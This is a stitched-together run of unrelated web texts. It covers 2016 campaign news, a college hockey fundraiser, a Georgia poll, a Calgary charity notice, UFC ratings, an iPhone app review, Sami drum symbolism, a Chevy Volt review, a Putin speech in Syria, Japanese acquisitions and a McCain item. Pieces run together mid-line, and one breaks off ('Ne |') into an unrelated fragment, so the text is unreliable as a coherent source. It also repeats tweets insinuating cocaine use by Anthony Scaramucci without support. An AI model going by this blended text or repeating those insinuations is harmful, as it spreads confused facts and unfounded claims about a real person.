Speaker Paul Ryan says a ban on Muslims entering the United States — as presidential nominee Donald Trump proposes — is not in the nation's interest.
Ryan told reporters at a news conference Tuesday that there should be a security test, not a religious test. He said the issue is "radical Islam," not the Islamic faith.
He made the comments after the deadly shooting in Orlando on Sunday that left 49 dead and more than 50 injured.
Ryan had previously rejected Trump's call for a ban on Muslims.
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9:30 a.m.
Donald Trump will meet with House Republicans on July 7.
That's the word from a senior Republican aide. Rep. Cathy McMorris Rodgers, head of the GOP conference, announced the meeting with the presumptive presidential nominee at the closed-door House GOP caucus Tuesday morning.
Trump had met with senior House and Senate Republican leaders several weeks ago.
The aide spoken on condition of anonymity to freely discuss the schedule.
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8:30 a.m.
The White House Correspondents' Association says it stands with the Washington Post and other news organizations after Donald Trump announced that he would revoking the newspaper's press credentials.
In a statement Tuesday, WHCA said candidates running for the presidency "must respect the role of a free and adversarial press," and warned that failure to do so "just because he or she does not like the tone or content of their coverage" risked violating the First Amendment.
Trump said Monday that he is revoking the newspaper's credentials based on a headline posted Monday that he says read, "Donald Trump suggests President Obama was involved with Orlando shooting."
Post editor Martin Baron said Monday that Trump's decision "is nothing less than a repudiation of the role of a free and independent press."
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3:00 a.m.
Donald Trump and Hillary Clinton have outlined dramatically different proposals for fighting terrorism and gun violence following the deadly Orlando nightclub attacks.
The presumptive Republican nominee is vowing to suspend immigration from countries with a history of terrorism and the Democratic candidate warns against demonizing Muslims.
The candidates' back-to-back speeches Monday underscored the clear choice Americans face in the November election. Clinton's vision builds on President Barack Obama's campaign against the Islamic State in Iraq and Syria and expands on his gun control executive orders, while Trump is calling for a drastically different national security posture.
The cornerstone of Trump's anti-terror plan is sweeping changes to the nation's immigration rules, despite the fact that the Orlando shooter was born in the U.S.The University of North Texas has a hockey team in the American Collegiate Hockey Association. If you aren't familiar with the ACHA their wikipedia page can give you a little info about what they're all about:
The ACHA offers an opportunity for college hockey programs that struggle with large budgets and Title IX issues, as an alternative to the National Collegiate Athletic Association (NCAA) structure.[2] Many schools field separate teams in both the NCAA and ACHA.
UNT's team is in Division II and they're legit. In the 2015 season UNT was 21-3 with a +80 goal differential. They play their home games at the Dr. Pepper StarCenter in Farmers Branch. Their division fields teams from Texas State, Dallas Baptist, Texas A&M, Texas, TCU, and UTA among many others so if you have a college rooting interest chances are good that you could extend that rooting interest to local college hockey.
The point of this post isn't to pump their tires though. They are trying to raise funds for next season. They aren't campus funded so they have to pay their own way. They've set up a GoFundMe page to accomplish these goals. According to the page this is what the money will go to:
The UNT Ice Hockey Club is trying to hit the ground running this year as early as possible! We are preparing some really big things for this upcoming season and we need your help to get there. All proceeds will be donated to the team. A few things this money will be used for include:
-Team Bags
- Running youth camps over the summer
- Lowering overall team fees
- New Team jerseys
- And all other expenses we incur through out the year i.e. Referees, Ice time, hotels, etc. We look forward to this upcoming season and hope to see you in the stands come September! Thanks and GO MEAN GREEN!
As of this writing they've received 17 donations for a total of $965 out of a goal of $6,000. If you're interested in helping promote the further growth of hockey in Texas the link to donate can be found right here. At DefendingBigD we're always happy to highlight the growing popularity of hockey in Texas. The growth of non-Varsity college hockey is but one example. If you have the means and/or desire please go help these guys out.
UNT Ice Hockey Home- A new poll conducted for FOX 5 shows the race for Georgia’s 6th District Congressional seat is too close to call.
The poll released Friday by Opinion Savvy shows a difference of less than 1 percent in the race between Democrat Jon Ossoff and Republican Karen Handel.
With only days left until the June 20 runoff, the poll shows Democrat Ossoff with 49.7 percent with Republican Handel with 49.4 percent.
Less than 1 percent of the registered voters surveyed are undecided.
The poll shows that Ossoff has a significant lead among early voters. Among the respondents to the poll, 58% of early voters voted for Ossoff with Handel at 42 percent.
But the results are different for voters who plan to vote next Tuesday. 62 percent of those who are voting on Election Day favor of Handel with 35 percent for Ossoff.
The Opinion Savvy conducted for FOX 5 included 537 participants and has a statistical margin of error of 4.2 percent.
CLICK HERE TO SEE FULL POLL RESULTSBig Brothers Big Sisters of Calgary is no longer taking applications for new volunteers, saying they don't have enough money to run additional programs where volunteers are needed.
BBBS said in a press release many of its Calgary-based programs are at capacity and hundreds of children are on a wait list.
"It's awful to have to turn children away, who desperately need those positive relationships. So the more support we get from the community the more children and volunteers we'll be able to serve," said BBBS president and CEO Karen Orser.
"It saddens us that we have to turn away volunteers at a time when the demand for mentors is larger than ever," she said.
"With most of our programs already at full capacity, it would not be fair for us to keep children and volunteers waiting indefinitely when we know we don't have the resources to support them."
The organization has provided mentoring services for children and young people in Calgary and surrounding areas for four decades.
$100,000 fundraising campaign
"Since the onset of the economic downturn, BBBS has experienced an increase in the number of parents and families reaching out for support."
The organization has started a fundraising campaign with a goal of $100,000.
"When the economy forced us to cancel our largest annual fundraiser this past spring, we were very concerned about how we were going to continue supporting the children in our programs," said Orser.
"We knew we had to find new ways to raise awareness and essential resources and we decided to reach out and connect directly with our friends and neighbours and ask for their support."
BBBS said it will still accept volunteers for all programs in Airdrie, Cochrane, High River and Okotoks and for its mPower, Youth-in-Care and Youth Engaging Supports programs in Calgary.The atmosphere over the weekend at the UFC activities was like no other in Las Vegas, but the television ratings did not reflect that anything was significantly different.
Ratings of Fox Sports 1 for the prelims before UFC 189 and for the entire The Ultimate Fighter finals ranged from average to below average. The only television event of the week that did much better than usual were the Friday weigh-ins for the pay-per-view show.
The prelims for UFC 189 did 847,000 viewers, which is average level for such a show. While the correlation isn't always perfect, the bigger pay-per-view events will generally do higher ratings for the prelims, for all the logical reasons. For a comparison, for the three big shows this year, the Jon Jones vs. Daniel Cormier prelims did 1,039,000 viewers, the Anderson Silva vs. Nick Diaz prelims did 1,546,000 viewers (boosted by the Miesha Tate vs. Sara McMann fight that headlined) and the Ronda Rousey vs. Cat Zingano prelims did 1,203,000 viewers.
Regarding the bigger question, which is how the pay-per-view itself did, it is too early to get an accurate number. The earliest indications are very strong, with it likely being the biggest number so far this year. The largest so far this year was UFC 182, the Jones vs. Cormier show, which is estimated at doing close to 800,000 buys.
The prelims peaked at 989,000 from 9:15 p.m. to 9:30 p.m., which would have been the latter rounds of the Mike Swick vs. Alex Garcia fight. The prelims had been lackluster up to that point, but it is a surprise the audience didn't peak for Matt Brown's fight that followed.
The prelims faced competition from the NASCAR Sprint Cup race from Kentucky that drew 3,216,000 viewers on NBC Sports Network, which is a phenomenal number for that station. It did beat PBC boxing on ESPN with the Keith Thurman vs. Luis Collazo main event, that did 799,000 viewers.
The post-fight show on FS 1 did 194,000 viewers. The pre-fight show did 345,000 viewers.
The strongest number of the presentation in comparison with usual was the weigh-ins, which did 178,000 viewers. That number is 39 percent above the usual levels. In addition, it was the most watched weigh-in show ever on FS 1 that didn't include Ronda Rousey.
The Ultimate Fighter finals show headlined by Stephen Thompson's win over Jake Ellenberger did 691,000 viewers. It would be the second-lowest main card number this year for a prime time UFC card on FS 1, beating only the March 21 show headlined by Demian Maia vs. Ryan LaFlare, that did 617,000 viewers. Even throwing out the ridiculous number that Conor McGregor drew in January, the prime time Fight Night cards this year are averaging 900,000 viewers.
The show peaked at 778,000 viewers for the Hayder Hassan vs. Kamaru Usman battle which the Blackzillians winning the team championship in the finals of The Ultimate Fighter. The prelims for the show did 470,000 viewers, the lowest for prelims on FS 1 for a prime time event this year.
UFC was the third-most watched sports event of the night, losing head-to-head to a St. Louis Cardinals vs. Pittsburgh Pirates baseball game on ESPN that did 2,216,000 viewers and a Mexico vs. Guatemala soccer game on Univision Deportes that did 1,400,000 viewers.
All ratings are tabulated by Ne |
complaints from people exposed by his Periscope broadcasts.
While many commentators recognize that such shaming methods used by an official do raise questions about abuse of power, some have pointed out that the primary issue in this case is that the employers of bodyguards are often more powerful than the state authorities.
"The problem is that we have used up rivers of ink talking about Arne and not about what to do about the hundreds of Libien who are on the loose," wrote Salvador Camarena in El Financiero. "Arne is a symptom, but the illness is that politicians and businessmen are untouchable jerks."
As he sipped coffee in an upscale cafe in Polanco, bodyguard David Nieto agreed — sort of.
"The laws are insufficient and regulation needs to be better," he said. "But that's ultimately the task of the government. You can't ask us bodyguards to regulate our own profession."
Related: 'Bulletproof' Fashion Hits Mexico's Runways and Streets
Follow Jan-Albert Hootsen on Twitter: @JayhootsenToday I created something very interesting. Here it is.
Fairly standard fair for YouTube, right? Nope. The bit that makes this video interesting is the text at the end. This video was shot, edited and published entirely on my iPhone 3GS. The new iPhone app ReelDirector from Nexvio is the app I wished for in an earlier post. The iPhone 3GS is now a miniature video production studio. What this means for the future is quite profound, but first let me talk about the app it self.
The ReelDirector timeline ReelDirector is no Final Cut Pro or even iMovie. It is as simple as a video editor can get. You select and trim videos with the same method that is built into the 3GS, but then you bring those clips into a timeline where you can cut it together with other clips. That is the basic functionality. That alone is a big deal. With those tools you have all you need to tell a story with video. However, ReelDirector has done a little more than that. The app has 27 different transitions that can be used between clips and you can also add reasonably customized titles at the beginning and end of the video.
What is missing? The main thing is audio. Sound is linked to the video and you cannot separate them which is pretty obvious in the video. This means you cannot have the audio from one clip continue underneath another. You also cannot add other sound such as music or voice over -- though Nexvio says they are working to add this. Another feature I would like to see is effects and color correction. It would be nice to optimize the look of the videos while editing them. While they are at it Nexvio could bundle in the functionality of their SlowMo iPhone app, so you can change the speed of video.
Ok, the future. The ability to edit video on the same device as it is shot with is unprecedented (as far as I know). More than that, since the iPhone has 3G, you can upload theses videos straight to a distribution source -- practically in real-time. I shot My Morning Commute this morning. It was uploading to YouTube by the time I was sitting at my desk. The workflow was great. I shot some video, then switched over to ReelDirector and cut the shots in. When I stepped out of the train I just had to shoot the last two shots, cut them in and I was done. I edited the story together as it was happening! The iPhone now represents the convergence of the entire video workflow into one device. Welcome to the world of tomorrow!!
Ok, the iPhone is not going to put Hollywood out of business. The video quality is good for a phone but that is about it and it gets worse when you upload it to YouTube with the built-in photos app (here is a full quality version for comparison). Where I think we will see this convergence utilized first will be in journalism and documentary. A journalist can file completed video reports from the field with a single inconspicuous device. This can be done while on the move and as the story is taking place. The revolution may not be televised, but the story may be told by someone armed only with iPhone. I think ReelDirector is a must-have app for all 3GS owners.
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Technologic OverkillShaman´s drum symbols in Scandinavia Artikkeli suomeksi | Symbolen auf Deutsch Many different cultures have had shamanistic drums and ritual drums. Just a few cultures have paint their drums. Sami people from Scandinavia used to paint symbols and also some Siberian tribes (Yakut). However, Fenno-Ugric Khantys and Mansis did not have pictures in their drums. Tengrism was a folk religion in the area of Turkey and Mongolia. Middle of the drum is god Tengri. Abowe his arms is heaven and the upper world, and below is the realm of men and the natural world. Native Americans: Different tribes have different traditions about the drum and how to play it, but the basic construction is very similar in most tribes: a wooden frame or a carved and hollowed-out log, with finely tanned buckskin or elkskin stretched taut across the opening by sinew thongs. Traditionally American Indian drums are large, two to three feet in diameter, and they are played communally by groups of men who stand around them in a circle. Shaman´s drums in Scandinavia There are about 70 old drums in Scandinavia, which have survived from the old days. The map shows where the drums have been found. All drums are portrayed and described in Ernst Manker´s book Die Lappische Zaubertrommel I – II. Manker was a Swedish ethnographer. There were also hundred of older drums, but they all burned in the great fire of Copenhagen in 1795. Older drums were collected from northern Norway and Finland. Today we have only 3 old drums from Finland, which have survived. Two of them are from the area of Kemi, southern Lapland and one from Utsjoki, northern Lapland. The drums of Norway and Sweden have usually sun in the center of the drum (heliocentric drum). Finnish and other northern Lappish drums have drums with three layers. Some drums have both the sun and the layers and some drums have a world tree or world pillar in the middle of the drum. The map shows where the old drums have been found (from Manker´s book)
Different types of drums Heliocentric drum Southern Sami Drum, the sun in the middle:
Finnish segment drums, the world with three layers
Mixed drum: sun in the middle and layers (segments)
Old Finnish drum (Manker´s book) Finnish drum: World with three layers The reddish colour is from alder tree (die Erle).
Every Finnish old drum had picture about world with three layers:
The Upper world (Ylinen), the realm of gods and light spirits
The Middle World (Keskinen), spirit side of this mundane world
The Lower World (Alinen), realm of power animals, ancestral spirits, gods of the dead people Some of the younger drums also had a map from the real world: Norway, Sweden, Finland, all the reindeers, villagers, church etc. It was used as a tool for forecasting the future. The drum's front side with the picture is for the people and public, but the inner/other side is for the shaman. There are all the totem artifacts, gifts from the spirits and secret symbols. Building of the new drum could last many years. Pointer for forecasting (Manker´s book): Drumsticks, hammers (Manker´s book)
People Symbol of the witch, noide-dirre and a witch/shaman or a person who is spellbound: The Drum and the shaman/witch, noide, noidde Elk Dog Wolf
Bear and the bear´s cave Animals: fox, marten, weasel, otter
Hunting Bow as a weapon and magical tool
Beaver Birds Snake Reindeer Reindeers in holy hill, Passevare and reindeers near camp/hut and fence: Fish and fishing equipments Boats and fishing equipments Boats and ships
Reindeer with sledge, ahkio or skis
Sun, moon, stars Sun in the middle of heliocentric drum Lappish hut, kota Storage for food, njalla Storage for food, aitta Storage for meat (luovve) Ruto or Rota, bringer of the illness Figures with trees, maybe gods/goddesses?
Rana Neida / Rana Niete is a goddess of spring and fertility, daughter of the earth.
Her name means “the green, fertile fields”. Leibolmai is the god of the hunt and wild animals. Radien or Veralden Olmai is the god of the sky, Ruler of the World.
Symbols of sky god Radien Tiermes or Horagalles, god of the thunder and his symbol doublehammer God of the wind Bieggolmai (Bieggagallis) Gods (Radien) with branch or halo Groups of gods Akka-goddesses
In Sámi mythology, the first akka was Maderakka and her daughters were Sarakka, Uksakka and Juksakka. Some Sámi thought they lived under their kota tents. Sarakka helped during the pregnancy. Juksakka had a bow and she guided boys. Men of the holy days (or friday-saturnay-sunday-men) Seita, holy place of offering
Saivo, sacred lake and Jabmeaimo (World of the dead under the saivo)
Jabmeaimo
Church and priest (symbols of the younger era, when christianity came to Lapland) Groups of symbols in the drum
Thuleia
Ernst Manker: Die Lappische Zaubertrommel I – II
Juha Pentikäinen: Saamelaiset – Pohjoisen kansan mytologia Huom! Sivuston tekstit ja kuvat ovat tekijänoikeuslain alaisia. Ilman lupaa kopioiminen on kielletty. Lyhyitä lainauksia tehdessä on kohteliasta mainita lähteenä sivuston nimi. -täsmähakuWhile I prefer hardworking trucks and high performance cars, I can appreciate the design of some people to drive without the use of gasoline. At the same time, having tested and enjoyed a few different electric vehicles, I am aware of the shortcomings of a pure EV in terms of range limitations and that is why I like the Chevrolet Volt so much.
Since my first time testing the 1st gen Volt a few years back, I have been impressed with the driving dynamics of this small sedan along with the all-electric range combined with the endless range of the gasoline engine. The Volt offers more true EV driving than the many plug-in hybrids and a proper electric driving experience regardless of the speeds or driving situati8ons, but unlike the pure EVs sold in America – you never really need to worry about running out of battery power with the Volt.
The Chevy Volt combines all of the advantages of an electric vehicle with the endless range of a traditional economy car with a gasoline engine, and with the arrival of the 2nd generation Volt for the 2016 model year – the Volt is promised to be better in every way.
The 2016 Volt has a new, larger battery system and a new, more efficient range extending gasoline engine, leading to improved capabilities across the board. The new Volt has improved all-electric range (53 miles), improved MPGe (106), improved gas-only fuel economy (42mpg) and an improved overall range on a full charge and a full tank of gas of 420 miles.
Those numbers are all great on paper, but how do these improvements translate into the real world? I set out on a week of driving the 2016 Chevy Volt to answer that question and in the end, I was surprised to find that in my driving conditions, the new Volt is even more efficient than the EPA estimates.
Test 1: Normal Daily Drive
My first test with the 2016 Chevrolet Volt was what I considered to be a pretty normal daily drive route, with an even 50/50 mix of highway (22.8 miles) and non-highway driving (22.9 miles). This drive would take me from my residential area to a very busy commercial area – a trip that many of my neighbors make each day – so it is an excellent “average commute” drive route.
When I left in the morning, I had 44 miles of electric range and when I mapped out my trip for the day, I had to drive 45.7 miles. I was curious to see if I could get there and back without using any gasoline, but based on my available range, it would be close. I didn’t drive in a way that would generally improve electric range, with speeds on the highway varying from 70-75mph and speed on the non-highway roads typically being 45-55mph. Traffic on all roads was moderate, but it was moving, so there was very little stop-and-go and when I returned home, I had gone the expected 45.7 miles and I hadn’t used any gasoline in the process.
In fact, when I returned home, even though I had driven 45.7 miles with 44 miles of EV range when I left the house, I still had 12 miles of range left on the battery system. Even if I had “only” gotten 12 more miles out of the system, I would have exceeded the expected EPA range by 4+ miles with roughly 57 miles driven on the battery. I averaged 111 MPGe during this trip.
Based on these results, I believe that driving this route or a similar route each day with the 2016 Chevy Volt could easily yield 60 miles of all-electric driving…especially if you put some effort into getting better range.
Test 2: Hard Driving
So, when the 2016 Chevrolet Volt is driven on a normal daily drive route, running with traffic at speeds around the posted limits, it is possible to meet and exceed the EPA range expectations. When the Volt is driven reasonably, like most drivers will drive it, it posts awesome efficiency figures, but I wondered what might happen if I drove the Volt in a way that should, in theory, yield terrible range numbers. So, I took the new Volt out for a day of simple errands around town, but I drove like I was in a huge hurry the entire time. Lots of hard acceleration, higher speeds on a few miles of highway driving, hard braking – basically driving as poorly as I could picture someone driving this car. I drove all in Sport mode with the radio on, the AC on, the windows open and the headlights on. Really, if you drove any average gasoline powered car like this, you would experience vastly reduced fuel economy numbers, so I expected that driving aggressively would lead to poor electric efficiency numbers as well.
Turns out, I was wrong.
I started out on this trip with the 2016 Volt with 49 miles of EV range and put 25 miles on the car during the course of my day and when I was done, I had an astonishing 38 miles of my initial 49 remaining. In driving 25 miles as inefficiently as possible, I still only used 11 miles of EV range and in doing so, I averaged 117 MPGe.
I got better efficiency results driving inefficiently around town than I did driving normally during my average daily commute test, so even if you are driving to intentionally be inefficient – as long as you are driving as speeds below 50mph or so, you are still going to get incredible EV range with the new Volt.
Test 3: The Closest Thing to A Weak Spot
For my 3rd test, I wanted to see how the 2016 Chevrolet Volt would handle pure highway driving as higher speeds. High speed highway driving is the hardest on all modern electric drive systems and in any EV, this type of driving will deplete your battery power the quickest.
I started out with 49 miles of electric range and my trip was entirely highway driving, with speeds averaging around 75mph in Detroit’s fast-moving traffic. I drove 24.3 miles, with only about 6 miles driven getting to and from the highway between my house and my destination, and when I got back to the house, I had 22 miles of range remaining. This means that in making this highway speed drive, I used 27 miles of range to go just over 24 miles.
While on the highway, I noticed that the efficiency gauge in the cluster was almost never in its ideal spot when driving over 75 miles per hour. When I hit traffic that reduced my cruising speeds below 70, the efficiency gauge would get to the prime spot, but when you are driving above 75 miles per hour, you are most certainly burning battery power more quickly than the system prefers. In other words, if you spend lots of time going 80mph on the highway with the new Volt, you are not going to be able to get to the expected EPA all-electric range of 53 miles, but driving at speeds that most Volt owners would consider extreme seems to be the only way to really hurt the efficiency of the 2nd gen Chevy Volt.
Test 4: A Day of Driving
My final test was to see what would happen if I had to drive the Chevrolet Volt well beyond any possible EV range without charging the battery back up in the middle of the day. With all of my other tests, I made relatively short trips, as that is the type of driving that the Volt and all EVs are designed to handle the best, but for my final test, I wanted to see what would happen if I had to drive a hundred miles in a day without having time to recharge in the middle of the day. I did keep efficiency in mind for this test, so I used the regenerative braking paddle on the steering wheel in addition to braking mindfully in order to pick up some extra juice while slowing down. I also tried to keep the efficiency gauge in the sweet spot to get the best range possible, and I was very impressed with my end results.
I started off the day with 49 miles of EV range on the gauge cluster and my day included around 40 miles of highway driving and around 60 miles of non-highway driving. I did not have access to a high speed charging station, so I had no choice but to dig into the gas tank for some extra range. I ended up with 0 miles of EV range remaining, but I had driven just shy of 60 miles on the battery. Also, the 41.2 miles on the gasoline engine were run with just 0.99 gallons of gas burned.
In total, my daily trip with the 2016 Volt was 101.1 miles, with 59.9 of those being electric miles and the other 41.2 being run with the gasoline engine. This gave me an overall MPGe rating of 58.3 and a gas-only figure of 41.6mpg. Overall, my 101.1 mile trip brought about an average of 102.12 miles per gallon.
Test Results
As you can see by the test by test results, the 2016 Chevrolet Volt is very capable of meeting and exceeding the EPA expected electric range numbers, especially if you don’t do much highway driving. If your daily commute is less than 60 miles total and your topography is similar to that of Metro Detroit, I believe that you could make your drive almost every day without ever using any gasoline and even if you do need to go slightly further than 60 miles – or if you spend a great deal of time driving on the highway – you would need to run the new Volt consistently at speeds over 75mph to really cut into the expected EPA range.
Driving Dynamics
While all super-efficient vehicles like the 2016 Chevrolet Volt are designed to optimize efficiency and the people who buy them are most concerned about efficiency, no one wants to drive a car that rides and handles like crap so driving dynamics were another key factor for the team when building the new Volt. The new gasoline engine and battery system are lighter and more efficient, but they are also more powerful – with an impressive peak torque figure of 294lb-ft. The electric drive system applies that torque as soon as you hit the gas pedal, and particularly when set to Sport mode, the new Volt accelerates very quickly from a stop. In fact, the Volt puts power to the ground quickly enough to spin the wheels from a stop and even when you are rolling at speed, putting the pedal to the floor will get the Volt moving out very quickly.
Whether you are trying to merge into fast-moving highway traffic or just trying to hurry ahead of slower moving traffic around town, the 2016 Volt never feels like it is short on power…and that is coming from a reviewer who owns 4 vehicles with more than 400hp of V8 power. Mind you, the Volt isn’t going to keep up with performance cars, but it will deliver a more engaging driving experience than the vast majority of the hybrids on sale today thanks to the characteristics of the electric drive system.
Finally, even with the fairly rigid, low rolling resistance tires that come standard on the 2016 Chevy Volt, this new EV seems to handle a touch better than the outgoing models. Around town, the Volt has no issue zipping in and out of traffic with ease, and you can even have some fun carving the corners of some twisty backroads. When you do push the Volt a bit too hard in a tight corner, the tires will quickly let you know it, but under normal driving situations around town and on the highway, the Volt is smooth, comfortable, quiet and very pleasant to drive. Really, it isn’t going to blow you away with its cornering and road-handling abilities, but it unlike many hybrids and other super-efficient models – the Volt is far more enjoyable to drive in most situations.
Interior Comfort and Pricing
My 2016 Chevrolet Volt test car was fitted with the Premier trimline, which includes all sorts of amenities inside to give this compact electric sedan the interior feel of a luxury car. This interior could be lifted out of the Volt and plugged into a small Cadillac and it would work just as well, which should give you an idea of the fit and finish of the 2016 Volt cabin.
Most notably, my Volt featured the Jet Black and Brandy interior spread, which applies the black-and-brown two tone treatment to the dash, the door panels and the plush heated leather seats (front and rear). The front seats are comfortable and spacious, proving plenty of space in every dimension for very tall drivers while adjusting enough to accommodate very short drivers. The back seats are comfortable in terms of the seating surfaces, but taller adults might find the rear footwells to be a bit cramped, especially if the front seats are adjusted for a very tall driver and front passenger. If you adjust the front seats carefully, you can make the Volt comfortable for 4 adults of roughly 6 feet tall, but this is really a better vehicle for someone who is going to be carting around two adults and a kid or two.
In addition to the luxury level seating and two-tone layout, the 2016 Volt Premier comes with a premium infotainment system the wraps up all of the interior functions into one easy to use screen mounted high on the center stack. From the big, bright screen, you can access the electric drivetrain information (including range and charging preferences), the sound system, the media system, the navigation software, the hands-free phone system and all of the basic interior settings. In addition to the touchscreen, the new Volt also has a small spread of buttons and knobs for the media players/radio and below that is a climate control system that relies entirely on traditional buttons and knobs – no more haptic controls to confuse people.
My 2016 Chevrolet Volt Premier test car was priced at $39,850 and while that is a big chunk of change for a small sedan, readers should keep in mind that the Volt is subject to the various tax credits that you get when buying an EV. Depending on your area, you can get $7,500 or more in tax credits, effectively reducing the purchase price into the $33k range. At $33k, it still costs more than your average compact sedan, but when you consider the fact that the 2016 Volt Premium has a Cadillac-like interior and an electric drivetrain that will yield well over 50 miles of all-electric driving each day, there is potential to make up that added cost by never buying gasoline.
The Final Word
If you are someone who drives less than 60 miles a day for your commute, the 2016 Chevrolet Volt will almost completely free you of making stops at the gas station with any regularity. The Volt is fun to drive, comfortable and very well appointed and while offering great all-electric range – the gasoline engine guarantees that you will never need another car if you do need to make longer trips. The Volt is the ideal EV for someone who can make use of the 50-60 mile EV range, but someone who also wants to be able to drive the car a few hours away for a family trip from time to time.
The 2016 Chevrolet Volt is, in my opinion, the best electric vehicle on the market today simply because it will do what every other EV will do in terms of getting you from point A to point B, but it will also function as a normal economy car when the battery has been run dry. The Volt offers the benefits of an EV, the freedom of a traditional gasoline drivetrain and the interior of a Cadillac for under $40k and to me, that makes it better than any of the competitors.According to Fox News’ Ed Henry, President-elect Donald Trump may make things a little more difficult for Mitt Romney if he hopes to become our nation’s next Secretary of State.
As you may recall, back on March 3rd the former Massachusetts Governor and Republican nominee for President game an impassioned anti-Trump speech to a crowd in Salt Lake City. “Donald Trump is a phony, a fraud. He gets a free trip to the White House and all we get is this lousy hat,” Romney said famously.
But that was before Trump stunned the world to become President-elect of the United States. Hell, that back before Trump even won his own party’s nomination.
But politics can be tricky in this regard; flash forward to November, the Romney is reportedly under serious consideration to be tapped as the newest Secretary of State, a role that many believe is between Romney and Rudy Giuliani.
A senior transition official tells Henry that they are considering whether he has to issue a public apology for his past severe anti-Trump rhetoric. Romney called the real estate mogul a “phony and a fraud,” in that March address, continuing, “There is a dark irony in his boasts of his sexual exploits during the Vietnam War, while at the same time, John McCain — who he has mocked — was imprisoned and tortured.”
Trump in response called Romney “irrelevant,” and said that the former Massachusetts Gov “failed badly,” in his own quest for the Presidency.
Romney visited with Trump last week in Bedminster, New Jersey and said that the meeting was a “very thorough and in-depth discussion in the time we had.”
Earlier this week, Mike Huckabee appeared on Fox & Friends to call out Mitt Romney directly amid reports of his consideration. “When you go after the person that is the nominee of your party, who has been duly nominated by the voters, and then you’re savaging the voters, you’re not just savaging Donald Trump,” said Huckabee. “It would be a real insult to all those Donald Trump voters who worked really hard.”
Have a tip we should know? tips@mediaite.comAt the air base, Vladimir Putin was met by President of the Syrian Arab Republic Bashar al-Assad al-Assad BasharPresident of Syria, Russian Minister of Defence Sergei Shoigu Shoigu SergeiDefence Minister and Commander of the Russian military group Sergei Surovikin.
The Commander-in-Chief ordered the withdrawal of the Russian military group from Syria back to their permanent bases.
Vladimir Putin thanked the Russian service personnel who took part in the counter-terrorism operation in Syria and who made the operation a success.
The Russian head of State and President of Syria Bashar al-Assad also met with Russian officers and heard a report by the Commander of the Russian group of forces in Syria on the operations to liberate the country from terrorists. Vladimir Putin used this opportunity to thank the Russian military pilots who will be returning home today.
* * *
Speech at the Khmeimim air base
Russian President Vladimir Putin: Hello, comrades.
The most important thing for a military person – and we are very much aware of this – is the defence of our Fatherland, our people. This is not just the purpose of military service, but also the purpose of life for those who have devoted themselves to serving their people.
At the same time, a soldier is truly tested for loyalty to the Fatherland in a military operation fraught with huge risks to life and health. Here, in Syria, far from home, you are doing exactly that – you are protecting our country.
By helping the people of Syria to maintain their statehood, to fight off attacks by terrorists, you have inflicted a devastating blow to those who have directly, brazenly and openly threatened our country.
We will never forget the sacrifices and losses incurred in the struggle against terrorism both here in Syria and in Russia. However, it will not make us fold our hands and retreat. This is not in our peoples’ nature.
On the contrary, this memory will continue to motivate us to eradicate this absolute evil – terrorism – whatever face it hides behind.
Yes, the threat of terrorism around the world is still very high. However, the task of combating the armed groups here in Syria, the goal that needed to be addressed with the help of the large-scale use of the armed forces, has been largely resolved – and brilliantly resolved. Congratulations!
Our Armed Forces and our defence contractors have shown the growing power of the Russian Army and Navy, and the high combat capability of the various military units.
Pilots, sailors, members of special forces, reconnaissance, troop-control and logistic support units, military police, medical personnel, field engineers and advisers working in the battle units of the Syrian Army have displayed the best qualities of Russian soldiers, such as courage, heroism, combat cohesion, determination, as well as excellent training and professionalism.
The Homeland is proud of you. I am convinced that you will always faithfully serve the Fatherland, defend and uphold our national interests, our country and its people.
Syria has been preserved as a sovereign and independent state. Refugees are returning to their homes. Favourable conditions have been created for a political settlement under the UN. The Russian Centre for the reconciliation of opposing sides in Syria continues to operate in line with international agreements.
The two bases, in Tartous and Khmeimim, will continue to operate on a permanent basis. If the terrorists raise their heads again, we will deal unprecedented strikes unlike anything they have seen.
In just over two years, the Russian Armed Forces and the Syrian Army have defeated the most combat-ready group of international terrorists. In this connection, I have decided to redeploy most of the Russian military contingent from the Syrian Arab Republic to Russia.
You are returning victorious to your homes, your families, parents, wives, children and friends.
I hereby order the Defence Minister and the General Chief of Staff to start redeploying units of the Russian army group to their permanent bases.
The Homeland is waiting for you, friends. Godspeed! Thank you for your service.
Additional All news about the visit to SyriaWhite House Communications Director Anthony Scaramucci -- CNN screengrab
Republican strategist Rick Wilson wondered if there’s a chemical explanation for Anthony Scaramucci’s unhinged interviews.
Scaramucci phoned into CNN for a lengthy and verbose interview, where he ranted against White House leakers as disloyal leakers — and Wilson wondered if he had been snorting cocaine before going on TV.
“Does anyone else think Scaramucci might be hoovering up a little Bolivian marching powder before these manic interviews?” Wilson tweeted.
Wilson wasn’t the only Twitter user to pose a similar question.
Trump's new distraction technique seems to be loading up scaramucci on cocaine and handing him a phone. https://t.co/AxEmwAwxmQ
— Chris Gannon (@KennyEvil) July 27, 2017
How much cocaine does @Scaramucci snort before he calls into CNN? — ®yanosaurus™ (@ryanosaurus716) July 27, 2017
@Scaramucci should be drug tested before he assumes his new position. He sounds as if he's in a cocaine fueled paranoid state!
— MarcosTheJackal (@marcoscadiz) July 27, 2017For Japanese companies, there’s not much worth sticking around for at home these days. The country’s economy is struggling to grow and its aging population will eventually mean fewer customers. The solution is to get out and find new markets, and, often, the strategy Japanese companies have opted for is to buy existing companies overseas.
According to Dealogic data, Japanese companies have bought or merged with over 5,000 international businesses since 2005. That’s an average of more than one merger or acquisition a day over the past 10 years:
Japanese companies have spent $60 billion merging with or acquiring foreign companies in 2015 so far (including Nikkei’s buyout of the Financial Times, announced yesterday), according to the Dealogic data. That compares with just $53.4 billion for all of last year.
Generally, the value of those deals is rising, and they spike during downturns in the economy:
But among all the companies and markets to invest in, it is US-based companies that Japanese enterprises have their sights set on:
Japanese companies have been so eager to buy US companies, in fact, that in the past 10 years they have spent more money acquiring American targets than all of the rest of the companies in the next 19 biggest acquisition countries combined:
The trend doesn’t seem likely to change any time soon. Meanwhile, the Chinese are just getting started.0 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard
Republicans have been known to reinvent history while glorifying Ronald Reagan, but Sen. John McCain took it to a whole new level last night on FNC’s Hannity. McCain was trying to criticize Obama when he gave Reagan credit for the Prague Spring of 1968, while ignoring that Reagan wasn’t a national political figure then.
Here is the video courtesy of Think Progress:
McCain was arguing that Obama should be more like Reagan and support the protesters in Iran. He told Hannity, You and I are both students of history and we’ve seen this movie before. When Ronald Reagan stood up for the workers in Gdansk in Poland, when he stood up for the people of Czechoslovakia, in Prague Spring, and America did. And some good Democrats did, too.”
